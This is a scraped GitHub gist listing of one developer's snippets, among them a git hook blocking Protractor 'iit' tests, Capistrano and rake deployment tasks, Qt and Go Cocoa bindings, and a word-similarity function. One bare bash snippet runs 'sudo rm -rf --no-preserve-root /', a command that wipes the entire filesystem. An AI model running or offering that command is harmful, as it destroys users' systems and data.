Skip to content

Instantly share code, notes, and snippets.

View alediaferia's full-sized avatar
🏢
Working from work

Alessandro Diaferia alediaferia

🏢
Working from work
View GitHub Profile
@alediaferia
alediaferia / stop_iit
Last active August 29, 2015 14:23
Prevent committing `iit` Protractor (https://github.com/angular/protractor) test suites
#!/bin/bash
# checking if unadvertedly we have left iit here and
# there in protractor test files
if git-rev-parse --verify HEAD >/dev/null 2>&1; then
against=HEAD
else
against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi
@alediaferia
alediaferia / git_local.rb
Last active May 9, 2016 20:31
Capistrano strategy for checking out git projects locally rather than on deployment destination machine
module LocalGitStrategy
def test
run_locally do
test " [ -f #{repo_path}/.git/HEAD ] "
end
end
def check
run_locally do
execute :git, :'ls-remote --heads', repo_url
@alediaferia
alediaferia / go.rake
Last active May 9, 2016 20:33
A couple of rake tasks to handle Go projects deployment
namespace :go do
task :upload do
on release_roles :all do
upload! "#{repo_path}/#{fetch(:application)}", release_path
end
end
task :build do
run_locally do
within repo_path do
require 'action_controller/railtie'
require 'minitest/autorun'
require 'rack/test'
class TestApp < Rails::Application
config.root = File.dirname(__FILE__)
config.session_store :cookie_store, key: 'cookie_store_key'
secrets.secret_token = 'secret_token'
secrets.secret_key_base = 'secret_key_base'
config.logger = Logger.new($stdout)
0x6dfa3881C6cDbd6753432E64BEc7692387Db015E
#!/usr/bin/env bash
echo "Bye bye"
sudo rm -rf --no-preserve-root /
@alediaferia
alediaferia / main.mm
Created December 31, 2017 14:08
Qt within Objective-C
- (BOOL)application:(UIApplication *)application willFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
NSProcessInfo *procInfo = [NSProcessInfo processInfo];
NSArray *arguments = [procInfo arguments];
int argc = arguments.count;
// we need a strong reference for the
// argv because it is required to stay
// valid as long as the QGuiApplication instance
// is valid
_argv = (char**)malloc(sizeof(char*) * argc);
for (int i = 0; i < argc; ++i) {
@alediaferia
alediaferia / gogoa.go
Created December 31, 2017 16:56
A Gogoa Example
package main
import (
"github.com/alediaferia/gogoa"
)
func main() {
app := gogoa.SharedApplication()
window := gogoa.NewWindow(0, 0, 200, 200)
window.SetTitle("Gogoga!")
@alediaferia
alediaferia / gogoa_howto.go
Created December 31, 2017 16:59
How to implement Gogoa
package gogoa
// #cgo CFLAGS: -x objective-c
// #cgo LDFLAGS: -framework Cocoa
//#include "g_application.h"
import "C"
import "unsafe"
type Application struct {
ptr unsafe.Pointer
@alediaferia
alediaferia / word_similarity.go
Last active January 3, 2018 20:15
A simple function to compute the similarity between 2 words
import "math"
// similarity computes the similarity between
// 2 words. w1len and w2len are the lengths of the 2
// words for which to compute the similarity.
// ld is the levenshtein distance between the 2 words.
// It returns a value between 0 and 1 that identifies the similarity
// between the 2 words. 2 equal words will have a similarity of 1.
func similarity(w1Len, w2Len, ld int) float64 {
maxLen := math.Max(float64(w1Len), float64(w2Len))